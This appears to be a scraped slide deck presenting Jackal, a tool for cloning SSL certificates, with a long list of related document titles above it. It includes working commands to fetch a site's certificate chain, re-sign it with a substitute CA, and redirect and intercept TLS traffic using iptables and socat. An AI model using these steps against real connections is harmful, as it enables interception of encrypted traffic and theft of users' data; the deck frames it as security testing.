Jackal clone SSL certificates. Kevin Sheldrake rtfc.org.uk



Similar documents
netkit lab load balancer web switch 1.1 Giuseppe Di Battista, Massimo Rimondini Version Author(s)

Linux firewall. Need of firewall Single connection between network Allows restricted traffic between networks Denies un authorized users

Internet Programming. Security

1:1 NAT in ZeroShell. Requirements. Overview. Network Setup

Network Security. Routing and Firewalls. Radboud University Nijmegen, The Netherlands. Autumn 2014

Rapid Access Cloud: Se1ng up a Proxy Host

More on SHA-1 deprecation:

Linux Routers and Community Networks

SSL Decryption Certificates

Firewalls. Chien-Chung Shen

Network security Exercise 9 How to build a wall of fire Linux Netfilter

NetSec Exercise 8 Communication Mixes

Domino and Internet. Security. IBM Collaboration Solutions. Ask the Experts 12/16/2014

Track 2 Workshop PacNOG 7 American Samoa. Firewalling and NAT

Chapter 7. Firewalls

Public Key Infrastructure

Network Security Exercise 10 How to build a wall of fire

Assignment 3 Firewalls

Tibbr Installation Addendum for Amazon Web Services

Linux Networking: IP Packet Filter Firewalling

Linux Firewall Wizardry. By Nemus

Public Key Infrastructure (PKI)

Secure Socket Layer. Introduction Overview of SSL What SSL is Useful For

SSL/TLS: The Ugly Truth

Crypto Lab Public-Key Cryptography and PKI

Linux as an IPv6 dual stack Firewall

Einführung in SSL mit Wireshark

How to Turn a Unix Computer into a Router and Firewall Using IPTables

Configuring Secure Socket Layer (SSL)

Security Protocols/Standards

HTTPS: Transport-Layer Security (TLS), aka Secure Sockets Layer (SSL)

Brocade Engineering. PKI Tutorial. Jim Kleinsteiber. February 6, Page 1

Setting Up SSL on IIS6 for MEGA Advisor

Matthew Rossmiller 11/25/03

Home Networking In Linux

TechNote. Contents. Overview. Using a Windows Enterprise Root CA with DPI-SSL. Network Security

TLS/SSL in distributed systems. Eugen Babinciuc

Linux Firewalls (Ubuntu IPTables) II

Lab Exercise SSL/TLS. Objective. Step 1: Open a Trace. Step 2: Inspect the Trace

SSL implementieren aber sicher!

An Information System

Vertigo's Running Dedicated Server HOWTO (v1.2)

How to Create, Setup, and Configure an Ubuntu Router with a Transparent Proxy.

SSL Interception Proxies. Jeff Jarmoc Sr. Security Researcher Dell SecureWorks. and Transitive Trust

Introduction to the DANE Protocol

IIS 6.0SSL Certificate Deployment Guide

Encrypted PostgreSQL

TLS renegotiation authentication GAP. Yes, it is really a serious vulnerability

MobileIron Tunnel v1.0.1 update requirements. Tech Series. 6/17/2014 Written by Ulrik Van Schepdael Mobco bvba

SSL Intercept Mode. Certificate Installation Guide. Revision Warning and Disclaimer

Loadbalancer.org Appliance Setup v5.9

Enable SSL in Go2Group SOAP Server

Internet Privacy Options

How Secure are your Channels? By Morag Hughson

SSL Tunnels. Introduction

Useful Tips for Reducing the Risk of Unauthorized Access for Network Cameras Important

BEA Weblogic Guide to Installing Root Certificates, Generating CSR and Installing SSL Certificate

Deploying DNSSEC: From End-Customer To Content

(n)code Solutions CA A DIVISION OF GUJARAT NARMADA VALLEY FERTILIZERS COMPANY LIMITED P ROCEDURE F OR D OWNLOADING

+ iptables. packet filtering && firewall

Generating a Certificate Signing Request (CSR) from LoadMaster

TELNET CLIENT 5.0 SSL/TLS SUPPORT

NOTE: This is not a official Cisco document and you use it on your own risk.

ipchains and iptables for Firewalling and Routing

CS255 Programming Project 2

Secure PostgreSQL Deployments

Digital Certificates (Public Key Infrastructure) Reshma Afshar Indiana State University

Authenticity of Public Keys

Linux Squid Proxy Server

CentOS. Apache. 1 de 8. Pricing Features Customers Help & Community. Sign Up Login Help & Community. Articles & Tutorials. Questions. Chat.

Is Your SSL Website and Mobile App Really Secure?

SolarWinds Technical Reference

Intro to Linux Kernel Firewall

3.2: Transport Layer: SSL/TLS Secure Socket Layer (SSL) Transport Layer Security (TLS) Protocol

SSL and Browsers: The Pillars of Broken Security

This section includes troubleshooting topics about certificates.

Lecture 31 SSL. SSL: Secure Socket Layer. History SSL SSL. Security April 13, 2005

THE HONG KONG POLYTECHNIC UNIVERSITY Department of Electronic and Information Engineering

Smoothwall Web Filter Deployment Guide

Focus on Security. Keeping the bad guys out

Security Engineering Part III Network Security. Security Protocols (I): SSL/TLS

Installing an SSL Certificate Provided by a Certificate Authority (CA) on the BlueSecure Controller (BSC)

Using a custom certificate for SSL inspection

PKI Made Easy: Managing Certificates with Dogtag. Ade Lee Sr. Software Engineer Red Hat, Inc

[SMO-SFO-ICO-PE-046-GU-

SSL Protect your users, start with yourself

SSL Secure Server. Installation Requirements

Contents. Identity Assurance (Scott Rea Dartmouth College) IdM Workshop, Brisbane Australia, August 19, 2008

Load Balancing VMware Horizon View. Deployment Guide

User Guide Supplement. S/MIME Support Package for BlackBerry Smartphones BlackBerry Pearl 8100 Series

Certificate technology on Pulse Secure Access

Home Linux Networking Lab (202) This Howto shows how to recreate the CIS Lab environment at home.

e-cert (Server) User Guide For Apache Web Server

Chapter 17. Transport-Level Security

Project X Mass interception of encrypted connections

Load Balancing Bloxx Web Filter. Deployment Guide

How to set up multiple web servers (VMs) on XenServer reusing host's static IP

Transcription:

Jackal clone SSL certificates Kevin Sheldrake rtfc.org.uk

WTF? Jackal is a tool to clone SSL certificates. SSL/TLS clients should check certificates properly. Cloning certs with openssl cli tool is tricky. Instead, use C to load and resign certs. Can be used as part of SSL/TLS MITM test.

When / Where / How? Client (software, browser, device) connects to server over SSL/TLS. Server sends SSL certificate to client. Client checks: Cert matches server. MITM possible! Cert chain is valid and signed by trusted CA. Secrets exchange -> encrypted comms. MITM possible!

Certs Common name, identity details, constraints, etc. Generate public/private key pair. Add public key to certificate. CA signs cert: Hash cert and sign hash with CA private key. Server presents cert to client. Client encrypts a nonce with certificate s public key. Server decrypts nonce -> requires certificate s private key. Encrypted comms.

Certificate chains Server or Leaf Cert Intermediary CA Intermediary CA YES! Certificate Authority YES!

Certificate chains Server or Leaf Cert Sent to client Intermediary CA Intermediary CA Implicit trust YES! Certificate Authority YES!

Example YES!

Example YES!

Example YES!

Easy as 1, 2, 3

Stealing underpants Phase 1: Get server certificate chain. Phase 2: Clone certificate chain. Phase 3: MITM SSL/TLS connection.

1: Get server certificate chain % openssl s_client -connect hhc.headhacking.com:443 -showcerts </dev/null > hhc.headhacking.com.cert

2: Clone certificate chain % jackal -sr -c hhc.headhacking.com.cert -o hhc.headhacking.com.clone -C newca.pem -K newca.key! Jackal v1.0 - Certificate Cloner - K Sheldrake ----------------------------------------------! "Certainly, the Jackal masqueraded as an Englishman, but he also masqueraded as a Dane and as a Frenchman. So there's no way of proving his identity at all." - The Day of the Jackal! Loading CA key Cert file contains >1 certificates! ### /serialnumber=c8ka4lqf7mwd4nbdq35p7zgcwesrqykn/ou=gt34955897/ou=see www.rapidssl.com/ resources/cps (c)13/ou=domain Control Validated - RapidSSL(R)/CN=hhc.headhacking.com ### v3 sig hash type = 65 public key size = 2048 ca subject is '/C=AU/ST=Some-State/O=Euclid/OU=Domain Control Validated/ CN=*.euclidporisms.net' subject key identifier changed! Success!

3: MITM SSL/TLS % cat hhc.headhacking.com.clone*.pem newca.pem > hhc.headhacking.com.clonechain.pem # echo 1 > /proc/sys/net/ipv4/ip_forward # iptables -tnat -A POSTROUTING -o lan7 -j MASQUERADE # socat OPENSSL-LISTEN: 5000,reuseaddr,pf=ip4,ciphers=ALL,method=TLSv1, certificate=hhc.headhacking.com.clonechain.pem, key=hhc.headhacking.com.clone.0.key,verify=0,fork TCP- CONNECT:localhost:5001 & # socat TCP-LISTEN:5001,reuseaddr,pf=ip4,fork OPENSSL:hhc.headhacking.com:443,verify=0 & # iptables -tnat -A PREROUTING -ptcp -mtcp -i lan6 -d hhc.headhacking.com --dport 443 -j DNAT --to-destination lan6ipaddr:5000

MITM lan6 Multi-homed lo Socat Socat iptables lan7

In action - warning

In action - continue

In action - certificate

Fake trust Inject into CA trust store Multi-homed lan6 Socat lo Socat lan7 iptables

In action - localhost

In action - detail

Usage Jackal v1.0 - Certificate Cloner - K Sheldrake ----------------------------------------------! "Certainly, the Jackal masqueraded as an Englishman, but he also masqueraded as a Dane and as a Frenchman. So there's no way of proving his identity at all." - The Day of the Jackal!! ONLY USE FOR TESTING (don't be a muppet)! jackal -c certificate displays certificate details jackal -sl -c certificate(s) -o outputfilespec [-C newcacert -K newcakey] signs the leaf certificate with the CA if specified or self-signs it if not jackal -sc -c certificates -o outputfilespec [-C newcacert -K newcakey] signs the certificate chain with the CA if specified or self-signs the root if not jackal -sr -c certificates -o outputfilesepc -C newcacert -K newcakey signs the certificate chain, replacing the current root with the specified CA! outputfilespec will be appended with.pem/.key with -sl and.n.pem/.key with -sc/r

Any questions?